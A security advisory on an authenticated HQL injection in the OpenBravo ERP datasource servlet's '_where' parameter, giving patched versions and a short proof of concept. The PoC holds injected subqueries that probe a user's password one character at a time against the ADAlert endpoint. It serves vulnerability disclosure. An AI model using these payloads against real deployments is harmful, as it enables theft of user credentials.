Vulnerability Author: Sam Ng, HPE Software Security Research Team  
Vendor Patch: 3.0PR15Q3.4 and 3.0PR15Q4.1  
Vendor Reference:,,  
Exploitation Type: Remote, Login required  
OpenBravo is an open source ERP Java application. A SQL Injection was found in the form of Hibernate HQL. One of the datasource servlet accepts a "_where" parameter from HTTP and uses it to create a dynamic HQL by string concatenation.  
Proof of Concept (PoC):  
After login, click on the Alerts link, the browser will send a JSON request to http://<your_host>/openbravo/org.openbravo.service.datasource/ADAlert, change the _where parameter to  
// the following will return all records in ADAlert  
// the following will return an empty resultset, no error  
(select substring(password,0,1) from ADUser where username='Openbravo')='x'  
// the following will throw an exception saying there are more than one row returned in the subquery  
(select substring(password,0,1) from ADUser where username!='Openbravo')='x'
